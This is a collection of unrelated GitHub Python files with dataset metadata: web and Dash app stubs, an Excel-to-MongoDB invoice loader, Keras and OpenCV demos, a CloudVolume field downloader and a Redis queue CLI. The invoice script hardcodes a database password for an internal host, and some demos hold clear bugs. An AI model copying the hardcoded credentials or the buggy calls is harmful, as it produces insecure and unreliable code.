{"seq_id": "70649399589", "text": "from fastapi import FastAPI, APIRouter\nfrom ..services.email_service import create_token\n\napp = FastAPI()\n\nrouter = APIRouter()\n\n    \n@router.post(\"/submit-email\")\ndef submit_email(email: dict = {}):\n    to = email[\"email\"]\n    verification_link = create_token(to)\n    print(verification_link)\n    return {\"message\": \"Email submitted. Check your email for the upload link.\"}\n\n", "repo_name": "pag0dy/new-speecho", "sub_path": "app/routers/email.py", "file_name": "email.py", "file_ext": "py", "file_size_in_byte": 376, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "fastapi.FastAPI", "line_number": 4, "usage_type": "call"}, {"api_name": "fastapi.APIRouter", "line_number": 6, "usage_type": "call"}, {"api_name": "services.email_service.create_token", "line_number": 12, "usage_type": "call"}]}
{"seq_id": "31061647002", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Jan 18 14:38:39 2019\r\n\r\n@author: Partha Kuila\r\n\"\"\"\r\n\r\nimport pandas as pd \r\n#import numpy as np\r\nimport datetime\r\nfrom pymongo import MongoClient\r\n#import pprint\r\n#import time\r\n\r\n\r\n#Client = MongoClient('mongodb://10.0.0.14:27017',\r\n#                     username = 'spectauser',\r\n#                     password = 'spectaDb#011',\r\n#                     authSource = 'spectaData',\r\n#                     authMechanism = 'SCRAM-SHA-1')\r\n#\r\n#\r\n##Database  Creation/Access \r\n#db = Client.spectaData\r\n#\r\n##Creating Table or collection in mongoDb\r\n#sylhet = db.sylhet_invoice_list\r\n#CTG    = db.CTG_invoice_list \r\n#Dhaka  = db.Dhaka_invoice_list\r\n\r\n#list declaration\r\nsylhet_list = []\r\nCTG_list    = []\r\nDhaka_list  = []\r\n\r\n\r\n\r\n#record to store individual record\r\n#record = {}\r\n\r\n#excel_sheet = ['Sheet1','Sheet2','Sheet3','Sheet4','Sheet5','Sheet6','Sheet7','Sheet8','Sheet10','Sheet11']\r\n\r\n\r\nexcel_sheet = ['Sheet1','Sheet2','Sheet3','Sheet4','Sheet5','Sheet6','Sheet7','Sheet8','Sheet9','Sheet10','Sheet11']\r\n\r\n#hdr_lst=['invoiceid','subscriberid','name','optnal_entity','Date','description','net_sale','vat','gross_sale','vat_rate']\r\n#print('h')\r\nfor sheet in excel_sheet:\r\n    print(sheet)\r\n    df_invoice = pd.read_excel(\"INVOICE.XLS\", sheet_name=sheet)\r\n    \r\n    df_invoice.columns=['invoiceid','subscriberid','name','optnal_entity',\r\n                        'Date','description','net_sale','vat','gross_sale','vat_rate']\r\n    \r\n    df_len = len(df_invoice)\r\n    print(df_len)\r\n    #time.sleep(20)\r\n    \r\n    df_invoice['recorddate'] = datetime.datetime.utcnow()\r\n    df_invoice['plan'] = \"UNKNOWN\"\r\n    \r\n    df_invoice['reqdate'] = df_invoice['Date'].astype(str)\r\n    \r\n    #df_invoice['Date'] = df_invoice['Date'].apply(lambda x:x +' 12'+':00'+':00')\r\n    df_invoice['reqdate'] = df_invoice['reqdate'].apply(lambda x:x +' 12:00:00')\r\n    \r\n    df_invoice['reqdate'] = df_invoice['reqdate'].apply(lambda x:datetime.datetime.strptime(x,\"%Y-%m-%d %H:%M:%S\"))\r\n    df_invoice.drop(['Date'],axis = 1, inplace = True)\r\n    \r\n    #print('l')\r\n    i=0\r\n    \r\n    # create an iterator and form index and series pair of each row\r\n    for row_index, row in df_invoice.iterrows():\r\n        record = {}\r\n        \r\n        if row['optnal_entity'].startswith('Dhaka'):\r\n            record['gross_sale']   = row['gross_sale']\r\n            record['net_sale']     = row['net_sale']\r\n            record['vat']          = row['vat']\r\n            record['name']         = row['name'].upper()\r\n            record['subscriberid'] = row['subscriberid'].upper()\r\n            record['description']  = row['description'].upper()\r\n            record['invoiceid']    = row['invoiceid'].upper()\r\n            record['reqdate']      = row['reqdate']\r\n            record['plan']         = row['plan']\r\n            record['vat_rate']     = row['vat_rate']\r\n            record['recorddate']   = row['recorddate']\r\n            #print(record)\r\n            Dhaka_list.append(record)\r\n            #print(i)\r\n           # print('l')\r\n            \r\n        elif row['optnal_entity'].startswith('Chittagong'):\r\n            record['gross_sale']   = row['gross_sale']\r\n            record['net_sale']     = row['net_sale']\r\n            record['vat']          = row['vat']\r\n            record['name']         = row['name'].upper()\r\n            record['subscriberid'] = row['subscriberid'].upper()\r\n            record['description']  = row['description'].upper()\r\n            record['invoiceid']    = row['invoiceid'].upper()\r\n            record['reqdate']      = row['reqdate']\r\n            record['plan']         = row['plan']\r\n            record['vat_rate']     = row['vat_rate']\r\n            record['recorddate']   = row['recorddate']\r\n            #print(record)\r\n            CTG_list.append(record)\r\n            #print(i)\r\n            \r\n        elif row['optnal_entity'].startswith('Sylhet'):\r\n            record['gross_sale']   = row['gross_sale']\r\n            record['net_sale']     = row['net_sale']\r\n            record['vat']          = row['vat']\r\n            record['name']         = row['name'].upper()\r\n            record['subscriberid'] = row['subscriberid'].upper()\r\n            record['description']  = row['description'].upper()\r\n            record['invoiceid']    = row['invoiceid'].upper()\r\n            record['reqdate']      = row['reqdate']\r\n            record['plan']         = row['plan']\r\n            record['vat_rate']     = row['vat_rate']\r\n            record['recorddate']   = row['recorddate']\r\n            #print(record)\r\n            sylhet_list.append(record)\r\n            #print(i)\r\n            #print('o')\r\n        #record.clear()\r\n        \r\n        \r\n   \r\n#    if len(sylhet_list)>0:\r\n##        print('sylhet')\r\n##        print(sylhet_list)\r\n#        sylhet.insert_many(sylhet_list)\r\n#        sylhet_list.clear()\r\n#    if len(CTG_list)>0:\r\n##        print('CTG')\r\n##        print(CTG_list)\r\n#        CTG.insert_many(CTG_list)\r\n#        CTG_list.clear()\r\n#    if len(Dhaka_list)>0:\r\n##        print('Dhaka')\r\n##        print(Dhaka_list)\r\n#        Dhaka.insert_many(Dhaka_list)\r\n#        Dhaka_list.clear()\r\n    #print(row_index)     \r\n    print(sheet,\"Over\")\r\n#    print(row)\r\n#    print('')\r\n     \r\nprint(\"List Printing \")    \r\n    \r\n\r\nprint(len(sylhet_list))\r\nprint(len(CTG_list))\r\nprint(len(Dhaka_list))\r\n\r\nprint(\"DataBase Acess\")    \r\nClient = MongoClient('mongodb://10.0.0.14:27017',\r\n                     username = 'spectauser',\r\n                     password = 'spectaDb#011',\r\n                     authSource = 'spectaData',\r\n                     authMechanism = 'SCRAM-SHA-1')\r\n\r\n#Database  Creation/Access \r\ndb = Client.spectaData\r\n\r\n\r\n#Creating Table or collection in mongoDb\r\nsylhet = db.sylhet_lku_invoice_list\r\nCTG    = db.CTG_lku_invoice_list \r\nDhaka  = db.Dhaka_lku_invoice_list\r\n\r\nsylhet.insert_many(sylhet_list)\r\nCTG.insert_many(CTG_list)\r\nDhaka.insert_many(Dhaka_list)\r\n\r\n\r\nDhaka_list.clear()\r\nsylhet_list.clear()\r\nCTG_list.clear()\r\n   \r\nprint('Complete Run ') \r\n\r\n#for x in Dhaka .find():\r\n#    pprint.pprint(x)  \r\n", "repo_name": "parthakuila/Python-Script-for-dump-excel-file-within-Database.", "sub_path": "Invoice.py", "file_name": "Invoice.py", "file_ext": "py", "file_size_in_byte": 6071, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "pandas.read_excel", "line_number": 50, "usage_type": "call"}, {"api_name": "datetime.datetime.utcnow", "line_number": 59, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 59, "usage_type": "attribute"}, {"api_name": "datetime.datetime.strptime", "line_number": 67, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 67, "usage_type": "attribute"}, {"api_name": "pymongo.MongoClient", "line_number": 158, "usage_type": "call"}]}
{"seq_id": "2829459569", "text": "import os\nimport xlrd\nimport numpy as np\nimport pandas as pd\nfrom sklearn.model_selection import train_test_split\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Input\n\n\ndef extract_data(type):\n    book = xlrd.open_workbook('data.xlsx')\n    sheet = book.sheet_by_name('Sheet1')\n    data = [[sheet.cell_value(r, c) for c in range(sheet.ncols)] for r in range(sheet.nrows)]\n    data = data[1:]\n    x = []\n    y = []\n    for entry in data:\n        x.append(entry[2:type + 1])\n        y.append(int(entry[type + 1]))\n    y = pd.get_dummies(y)\n    return np.array(x), np.array(y)\n\n\ndef create_model(type):\n    model = Sequential()\n    model.add(Dense(5, input_dim=type - 1, activation='relu'))\n    model.add(Dense(5, activation='softmax'))\n    model.compile(loss='categorical_crossentropy', optimizer='adam', metrics=['accuracy'])\n    return model\n\n\ndef predict_step_2():\n    x, y = extract_data(type=2)\n    x_train, x_test, y_train, y_test = train_test_split(x, y, test_size=0.25)\n    model = create_model(type=2)\n    model.fit(x_train, y_train, epochs=200, batch_size=5)\n    _, accuracy = model.evaluate(x_test, y_test)\n    return accuracy * 100\n\n\ndef predict_step_3():\n    x, y = extract_data(type=3)\n    x_train, x_test, y_train, y_test = train_test_split(x, y, test_size=0.25)\n    model = create_model(type=3)\n    model.fit(x_train, y_train, epochs=200, batch_size=5)\n    _, accuracy = model.evaluate(x_test, y_test)\n    return accuracy * 100\n\n\ndef predict_step_4():\n    x, y = extract_data(type=4)\n    x_train, x_test, y_train, y_test = train_test_split(x, y, test_size=0.25)\n    model = create_model(type=4)\n    model.fit(x_train, y_train, epochs=200, batch_size=5)\n    _, accuracy = model.evaluate(x_test, y_test)\n    return accuracy * 100\n\n\ndef predict_step_5():\n    x, y = extract_data(type=5)\n    x_train, x_test, y_train, y_test = train_test_split(x, y, test_size=0.25)\n    model = create_model(type=5)\n    model.fit(x_train, y_train, epochs=200, batch_size=5)\n    _, accuracy = model.evaluate(x_test, y_test)\n    return accuracy * 100\n\n\ndef predict_step_6():\n    x, y = extract_data(type=6)\n    x_train, x_test, y_train, y_test = train_test_split(x, y, test_size=0.25)\n    model = create_model(type=6)\n    model.fit(x_train, y_train, epochs=200, batch_size=5)\n    _, accuracy = model.evaluate(x_test, y_test)\n    return accuracy * 100\n\n\nif __name__ == \"__main__\":\n    accuracy_step_2 = round(predict_step_2(), 2)\n    accuracy_step_3 = round(predict_step_3(), 2)\n    accuracy_step_4 = round(predict_step_4(), 2)\n    accuracy_step_5 = round(predict_step_5(), 2)\n    accuracy_step_6 = round(predict_step_6(), 2)\n    print(f\"Prediction of choice #2 accuracy: {accuracy_step_2}%\")\n    print(f\"Prediction of choice #3 accuracy: {accuracy_step_3}%\")\n    print(f\"Prediction of choice #4 accuracy: {accuracy_step_4}%\")\n    print(f\"Prediction of choice #5 accuracy: {accuracy_step_5}%\")\n    print(f\"Prediction of choice #6 accuracy: {accuracy_step_6}%\")\n\n", "repo_name": "Lahav1/human-agent-interaction-model", "sub_path": "neural_net.py", "file_name": "neural_net.py", "file_ext": "py", "file_size_in_byte": 2972, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "xlrd.open_workbook", "line_number": 11, "usage_type": "call"}, {"api_name": "pandas.get_dummies", "line_number": 20, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 21, "usage_type": "call"}, {"api_name": "keras.models.Sequential", "line_number": 25, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 26, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 27, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 34, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 43, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 52, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 61, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 70, "usage_type": "call"}]}
{"seq_id": "19672520663", "text": "import dash\r\nfrom dash import html, dcc\r\nimport dash_bootstrap_components as dbc\r\n\r\n\r\n\r\napp = dash.Dash(__name__,suppress_callback_exceptions = True, use_pages = True,\r\n                external_stylesheets=[dbc.themes.SPACELAB])\r\nserver = app.server\r\nsidebar = dbc.Nav([\r\n    dbc.NavLink([\r\n        html.Div(page['name'], className='ms-2', style = {\"margin\": \"-10px 0px 0px -20px\"}),\r\n    ],\r\n        href = page['path'],\r\n        active ='exact',\r\n    )\r\n    for page in dash.page_registry.values()\r\n],\r\n    vertical = False, pills = True, className='Success',style={'transform': 'scale(0.7)'},\r\n)\r\n\r\n\r\n\r\napp.layout = dbc.Container([\r\n    dbc.Row([\r\n        dbc.Col([\r\n            html.Img(src='assets/Logo.jpg',\r\n                     style={'height': '45px', 'width': '80%', 'margin': '10px 0px 0px 0px'},)\r\n\r\n        ],xs=2, sm=2, md=2, lg=1, xl=1, xxl=1),\r\n        dbc.Col([html.Div(\"Rock Analytics\",\r\n\r\n                         style={'font-size': 30, 'textAlign': 'center', 'color': 'purple',\r\n                                'margin': '10px 0px 0px -60px'})],\r\n                xs= 9, sm = 9, md = 9, lg=9, xl=9, xxl=9)\r\n    ],justify='around'),\r\n\r\n    html.Hr(),\r\n    dbc.Row([\r\n\r\n        dbc.Col([\r\n            sidebar\r\n        ], xs=12, sm=12, md=12, lg=12, xl=12, xxl=12),\r\n    ]),\r\n\r\n    dbc.Row([\r\n        dbc.Col([\r\n            dash.page_container\r\n        ],xs=12, sm=12, md=11, lg=11, xl=11, xxl=11)\r\n\r\n    ])\r\n\r\n\r\n])\r\n\r\n\r\n\r\n\r\n\r\nif __name__=='__main__':\r\n    app.run(debug=True)\r\n", "repo_name": "DeyozJP/Rock-Analytics", "sub_path": "rockapp.py", "file_name": "rockapp.py", "file_ext": "py", "file_size_in_byte": 1495, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "dash.Dash", "line_number": 7, "usage_type": "call"}, {"api_name": "dash_bootstrap_components.themes", "line_number": 8, "usage_type": "attribute"}, {"api_name": "dash_bootstrap_components.Nav", "line_number": 10, "usage_type": "call"}, {"api_name": "dash_bootstrap_components.NavLink", "line_number": 11, "usage_type": "call"}, {"api_name": "dash.html.Div", "line_number": 12, "usage_type": "call"}, {"api_name": "dash.html", "line_number": 12, "usage_type": "name"}, {"api_name": "dash.page_registry.values", "line_number": 17, "usage_type": "call"}, {"api_name": "dash.page_registry", "line_number": 17, "usage_type": "attribute"}, {"api_name": "dash_bootstrap_components.Container", "line_number": 24, "usage_type": "call"}, {"api_name": "dash_bootstrap_components.Row", "line_number": 25, "usage_type": "call"}, {"api_name": "dash_bootstrap_components.Col", "line_number": 26, "usage_type": "call"}, {"api_name": "dash.html.Img", "line_number": 27, "usage_type": "call"}, {"api_name": "dash.html", "line_number": 27, "usage_type": "name"}, {"api_name": "dash_bootstrap_components.Col", "line_number": 31, "usage_type": "call"}, {"api_name": "dash.html.Div", "line_number": 31, "usage_type": "call"}, {"api_name": "dash.html", "line_number": 31, "usage_type": "name"}, {"api_name": "dash.html.Hr", "line_number": 38, "usage_type": "call"}, {"api_name": "dash.html", "line_number": 38, "usage_type": "name"}, {"api_name": "dash_bootstrap_components.Row", "line_number": 39, "usage_type": "call"}, {"api_name": "dash_bootstrap_components.Col", "line_number": 41, "usage_type": "call"}, {"api_name": "dash_bootstrap_components.Row", "line_number": 46, "usage_type": "call"}, {"api_name": "dash_bootstrap_components.Col", "line_number": 47, "usage_type": "call"}, {"api_name": "dash.page_container", "line_number": 48, "usage_type": "attribute"}]}
{"seq_id": "6995454409", "text": "import cv2 as cv\r\nimport numpy as np\r\n\r\n# 均值模糊\r\ndef blur_demo(image):\r\n    dst = cv.medianBlur(image,(5,5))\r\n    cv.imshow(\"blur_demo\",dst)\r\n\r\n# 中值模糊（消除椒盐噪声）\r\ndef median_demo(image):\r\n    dst = cv.blur(image,5)\r\n    cv.imshow(\"blur_demo\",dst)\r\n\r\n# 自定义模糊\r\ndef custom_demo(image):\r\n    kernel = np.ones([5,5],np.float32)/25\r\n    kernel = np.array([[0,-1,0],[-1,5,-1],[0,-1,0]],np.float32)#锐化\r\n    dst = cv.filter2D(image,-1,kernel=kernel)\r\n    cv.imshow(\"blur_demo\",dst)\r\n\r\nprint(\"---------------Hello Python--------------\")\r\nsrc  = cv.imread(\"D:/opencvwen/demo.PNG\")\r\ncv.namedWindow(\"input image\",cv.WINDOW_AUTOSIZE)\r\ncv.imshow(\"input image\",src)\r\ncustom_demo(src)\r\n\r\ncv.waitKey(0)\r\n\r\ncv.destroyAllWindows()", "repo_name": "zw161917/python-Study", "sub_path": "Opencv学习/学习6.py", "file_name": "学习6.py", "file_ext": "py", "file_size_in_byte": 752, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "cv2.medianBlur", "line_number": 6, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 7, "usage_type": "call"}, {"api_name": "cv2.blur", "line_number": 11, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 12, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 16, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 16, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 17, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 17, "usage_type": "attribute"}, {"api_name": "cv2.filter2D", "line_number": 18, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 19, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 22, "usage_type": "call"}, {"api_name": "cv2.namedWindow", "line_number": 23, "usage_type": "call"}, {"api_name": "cv2.WINDOW_AUTOSIZE", "line_number": 23, "usage_type": "attribute"}, {"api_name": "cv2.imshow", "line_number": 24, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 27, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 29, "usage_type": "call"}]}
{"seq_id": "1285875789", "text": "import time\nimport h5py\nimport json\nimport sys\nimport os\nimport six\nimport copy\nimport argparse\n\nimport torch\nimport torchfields\n\nimport numpy as np\n\nfrom pathlib import Path\nfrom tqdm import tqdm\nfrom cloudvolume import CloudVolume\n\ndef get_dset_path(dst_folder,\n                  x_offset,\n                  y_offset,\n                  z_start,\n                  mip,\n                  suffix):\n    \"\"\"Get H5 filepath\n    \"\"\"\n    suffix = '_' + suffix if suffix is not None else ''\n    dset_name = \"field_0_x{}_y{}_z{}_MIP{}{}.h5\".format(x_offset,\n                                                        y_offset,\n                                                        z_start,\n                                                        mip,\n                                                        suffix)\n    return dst_folder / dset_name\n\ndef write_tensor(dset, data, sample_index, pair_index):\n    \"\"\"Write tensor to H5 file\n\n    Args:\n        dset (h5py.File)\n        data (torch.Tensor): no leading identity dimensions\n        sample_index (int)\n        pair_index (int)\n    \"\"\"\n    if data.is_cuda:\n        data = data.cpu()\n    data = data.numpy()\n    dset[sample_index, pair_index] = data\n\ndef make_field_dset(dset_path,\n                  num_samples,\n                  patch_size,\n                  chunk_size=512,\n                  dtype=np.float32):\n    \"\"\"Define H5 file for data_name\n\n    Args:\n        dset_path (str): H5 filepath\n        num_samples (int)\n        patch_size (int): W x H; W==H for each sample\n        chunk_size (int): H5 chunking (default: patch_size)\n        dtype (type): datatype of H5\n\n    Returns:\n        h5py.File object, sized:\n            num_samples x 2 x patch_size x patch_size\n    \"\"\"\n    print('make_field_dset')\n    if chunk_size is None:\n        chunk_size = patch_size\n    data_name = 'field'\n    scaleoffset = 2\n    df = h5py.File(dset_path, 'a')\n    dset_shape = (num_samples, 2, 2, patch_size, patch_size)\n    chunk_dim = (1, 1, 2, chunk_size, chunk_size)\n    if data_name in df:\n        del df[data_name]\n    dset = df.create_dataset(data_name,\n                             dset_shape,\n                             dtype=dtype,\n                             chunks=chunk_dim,\n                             compression='lzf',\n                             scaleoffset=scaleoffset)\n    return dset\n\ndef make_offset_dset(dset_path,\n                    num_samples,\n                    dtype=int):\n    \"\"\"Define H5 file for field offsets\n\n    Args:\n        dset_path (str): H5 filepath\n        num_samples (int)\n        dtype (type): datatype of H5\n\n    Returns:\n        h5py.Dataset object, sized:\n            num_samples x 2 (src, tgt) x 2 (x, y)\n    \"\"\"\n    df = h5py.File(dset_path, 'a')\n    data_name = 'offset'\n    if data_name in df:\n        del df[data_name]\n    dset_shape = (num_samples, 2, 2)\n    chunk_dim = (1, 1, 2)\n    return df.create_dataset(data_name,\n                             dset_shape,\n                             dtype=int,\n                             chunks=chunk_dim,\n                             compression='lzf')\n\ndef download_section_field(vol,\n                        dset,\n                        offsets,\n                        x_offset,\n                        y_offset,\n                        z_range,\n                        dst_mip,\n                        patch_size,\n                        sample_index,\n                        pair_index):\n    \"\"\"Download field to H5 file and collect offset adjustments\n\n    The field will not be used to warp the img and defects. Warping is handled\n    in the dataloader.\n\n    Field is assumed to be in MIP0 displacements, and converted to\n    MIP displacements. Translations are stored in MIP0 displacements.\n\n    Args:\n        vol (CloudVolume)\n        dset (h5py.Dataset)\n        offsets (h5py.Dataset): z x src/tgt x x/y translation\n        x_offset (int): vol.mip pixels\n        y_offset (int): vol.mip pixels\n        z_range (slice): length one\n        dst_mip (int): MIP of dataset\n        patch_size (int): dst_mip pixels\n        sample_index (int)\n        pair_index (int): (src, tgt): (0, 1)\n    \"\"\"\n    src_mip = vol.mip\n    assert(src_mip > dst_mip)\n    scale_factor = 2**(src_mip - dst_mip)\n    in_field = vol[x_offset:x_offset + (patch_size // scale_factor),\n                   y_offset:y_offset + (patch_size // scale_factor),\n                   z_range]\n    in_field = np.transpose(in_field, (2,3,0,1))\n    in_field = torch.tensor(in_field).field()\n    in_field = in_field.squeeze()\n    out_field = in_field.up(src_mip - dst_mip)\n    out_field = out_field[:, :patch_size, :patch_size]\n    trans = out_field.mean_finite_vector(keepdim=True)\n    trans = (trans // (2**dst_mip)) * 2**dst_mip\n    offset = [int(trans[0,0,0]), int(trans[1,0,0])]\n    offsets[sample_index, pair_index, :] = offset\n    out_field -= trans\n    out_field = out_field / (2**dst_mip)\n    out_field = torch.flip(out_field, [0]) # reverse x,y components\n    write_tensor(dset=dset,\n                 data=out_field,\n                 sample_index=sample_index,\n                 pair_index=pair_index)\n\ndef download_dataset_field(cv_path,\n                        dst_folder,\n                        z_start,\n                        z_end,\n                        src_mip,\n                        dst_mip,\n                        x_offset=0,\n                        y_offset=0,\n                        patch_size=None,\n                        suffix=None,\n                        parallel=1):\n    \"\"\"Create CloudVolume & H5 file and transfer field\n\n    Args:\n        cv_path (str): CloudVolume path\n        dst_folder (str): root of directory where H5 files will be stored\n        offset_translations (dict): z: (x trans, y trans)\n        z_start (int)\n        z_end (int)\n        src_mip (int): MIP level of CloudVolume field\n        dst_mip (int): MIP level of output dataset\n        x_offset (int): offset in MIP0 pixels; must be multiple of MIP factor\n        y_offset (int): offset in MIP0 pixels; must be multiple of MIP factor\n        patch_size (int): width & height of 2D region to download\n        suffix (str): append to each H5 filename\n        parallel (int): no. of threads for CloudVolume operations\n    \"\"\"\n    section_ids = range(z_start, z_end)\n    num_samples = len(section_ids)\n    dset_path = get_dset_path(dst_folder=dst_folder,\n                              x_offset=x_offset,\n                              y_offset=y_offset,\n                              z_start=z_start,\n                              mip=dst_mip,\n                              suffix=suffix)\n    dset = make_field_dset(dset_path=dset_path,\n                          num_samples=num_samples,\n                          patch_size=patch_size)\n    vol = CloudVolume(cv_path,\n                      mip=src_mip,\n                      fill_missing=True,\n                      bounded=False,\n                      progress=False,\n                      parallel=parallel)\n    offsets = make_offset_dset(dset_path=dset_path,\n                               num_samples=num_samples,\n                               dtype=int)\n    x_offset //= 2**src_mip\n    y_offset //= 2**src_mip\n    for sample_index, z in tqdm(enumerate(section_ids)):\n        for pair_index in range(2):\n            z_range = slice(z, z+1) if pair_index == 0 else slice(z-1, z)\n            download_section_field(vol=vol,\n                                dset=dset,\n                                offsets=offsets,\n                                x_offset=x_offset,\n                                y_offset=y_offset,\n                                z_range=z_range,\n                                dst_mip=dst_mip,\n                                patch_size=patch_size,\n                                sample_index=sample_index,\n                                pair_index=pair_index)\n\nif __name__ == '__main__':\n    parser = argparse.ArgumentParser(\n            description='Create MetroEM field dataset via CloudVolume')\n    parser.add_argument('--src_mip',         type=int)\n    parser.add_argument('--dst_mip',         type=int)\n    parser.add_argument('--patch_size',  type=int)\n    parser.add_argument('--x_offset',    type=int, default=0)\n    parser.add_argument('--y_offset',    type=int, default=0)\n    parser.add_argument(\n            '--z_start',\n            type=int,\n            default=None,\n            help='Start of source image range (target range start is z_start-1')\n    parser.add_argument(\n            '--z_end',\n            type=int,\n            default=None,\n            help='End of source image range (target range end is z_end-1')\n    parser.add_argument('--cv_path', type=str, default=None)\n    parser.add_argument('--suffix', type=str, default=None)\n    parser.add_argument('--dst_folder', type=str, default='./dataset01')\n    parser.add_argument('--parallel', type=int, default=1)\n\n    args = parser.parse_args()\n\n    dst_folder = Path(args.dst_folder)\n    dst_folder.mkdir(parents=True, exist_ok=True)\n\n    assert(args.x_offset % 2**args.src_mip == 0)\n    assert(args.y_offset % 2**args.src_mip == 0)\n\n    download_dataset_field(cv_path=args.cv_path,\n                        dst_folder=dst_folder,\n                        z_start=args.z_start,\n                        z_end=args.z_end,\n                        src_mip=args.src_mip,\n                        dst_mip=args.dst_mip,\n                        x_offset=args.x_offset,\n                        y_offset=args.y_offset,\n                        patch_size=args.patch_size,\n                        suffix=args.suffix,\n                        parallel=args.parallel)\n", "repo_name": "seung-lab/metroem", "sub_path": "metroem/download_field.py", "file_name": "download_field.py", "file_ext": "py", "file_size_in_byte": 9607, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 5, "dataset": "github-code", "pt": "71", "api": [{"api_name": "numpy.float32", "line_number": 53, "usage_type": "attribute"}, {"api_name": "h5py.File", "line_number": 72, "usage_type": "call"}, {"api_name": "h5py.File", "line_number": 99, "usage_type": "call"}, {"api_name": "numpy.transpose", "line_number": 147, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 148, "usage_type": "call"}, {"api_name": "torch.flip", "line_number": 158, "usage_type": "call"}, {"api_name": "cloudvolume.CloudVolume", "line_number": 202, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 213, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 228, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 252, "usage_type": "call"}]}
{"seq_id": "7525922410", "text": "from nst_zoo.nst_main import main\nfrom nst_zoo.config import NSTConfig\n\nimport json\nimport itertools\nimport click\nfrom redis import Redis\nredis_connection = None\n\n\ndef _get_redis_connection(host, port):\n    global redis_connection\n    if not redis_connection:\n        redis_connection = Redis(host=host, port=port)\n    return redis_connection\n\n\n@click.group(name=\"nst-processor\")\ndef cli():\n    return\n\n\n@cli.command()\n@click.option(\n    \"--host\",\n    \"-h\",\n    required=True,\n    envvar=\"NST_REDIS_HOST\",\n    type=str,\n    help=\"Redis host where list of trials exists\"\n)\n@click.option(\n    \"--port\",\n    \"-p\",\n    required=True,\n    envvar=\"NST_REDIS_PORT\",\n    type=int,\n    help=\"Redis port where list of trials exists\"\n)\n@click.option(\n    \"--name\",\n    \"-n\",\n    required=True,\n    envvar=\"NST_REDIS_NAME\",\n    type=str,\n    help=\"Redis name to lpop trials from\"\n)\ndef process_from_queue(host, port, name):\n    redis = _get_redis_connection(host, port)\n    config_kwargs = redis.lpop(name)\n\n    while config_kwargs:\n        main(NSTConfig(**json.loads(config_kwargs)))\n        config_kwargs = _get_redis_connection(host, port)\n\n\n@cli.command()\n@click.option(\n    \"--config-filepath\",\n    \"-fp\",\n    default=\"nst_zoo/batch_processing/data/config.json\"\n)\n@click.option(\n    \"--host\",\n    \"-h\",\n    required=True,\n    envvar=\"NST_REDIS_HOST\",\n    type=str,\n    help=\"Redis host where list of trials exists\"\n)\n@click.option(\n    \"--port\",\n    \"-p\",\n    required=True,\n    envvar=\"NST_REDIS_PORT\",\n    type=int,\n    help=\"Redis port where list of trials exists\"\n)\n@click.option(\n    \"--name\",\n    \"-n\",\n    required=True,\n    envvar=\"NST_REDIS_NAME\",\n    type=str,\n    help=\"Redis name to lpop trials from\"\n)\ndef send_to_queue(config_filepath, host, port, name):\n    with open(config_filepath, \"r\") as fd:\n        configs = json.load(fd)\n    redis = _get_redis_connection(host, port)\n    click.echo(\n        redis.lpush(name, *[json.dumps(i) for i in _parameter_grid(configs)])\n    )\n\ndef _parameter_grid(param_grid):\n    \"\"\"\n    Inspired by sklearn.model_selection.ParameterGrid\n    \"\"\"\n    # sort keys for reproducibility\n    items = sorted(param_grid.items())\n    if not items:\n        yield {}\n    else:\n        keys, values = zip(*items)\n        for v in itertools.product(*values):\n            params = dict(zip(keys, v))\n            yield params\n\n\n@cli.command()\n@click.option(\n    \"--host\",\n    \"-h\",\n    required=True,\n    envvar=\"NST_REDIS_HOST\",\n    type=str,\n    help=\"Redis host where list of trials exists\"\n)\n@click.option(\n    \"--port\",\n    \"-p\",\n    required=True,\n    envvar=\"NST_REDIS_PORT\",\n    type=int,\n    help=\"Redis port where list of trials exists\"\n)\ndef flush(host, port):\n    redis = _get_redis_connection(host, port)\n    click.echo(\n        redis.flushdb()\n    )\n\n\nif __name__ == '__main__':\n    cli()\n", "repo_name": "Nick-Morgan/nst-zoo", "sub_path": "nst_zoo/batch_processing/io.py", "file_name": "io.py", "file_ext": "py", "file_size_in_byte": 2830, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "redis.Redis", "line_number": 14, "usage_type": "call"}, {"api_name": "click.group", "line_number": 18, "usage_type": "call"}, {"api_name": "redis.lpop", "line_number": 50, "usage_type": "call"}, {"api_name": "nst_zoo.nst_main.main", "line_number": 53, "usage_type": "call"}, {"api_name": "nst_zoo.config.NSTConfig", "line_number": 53, 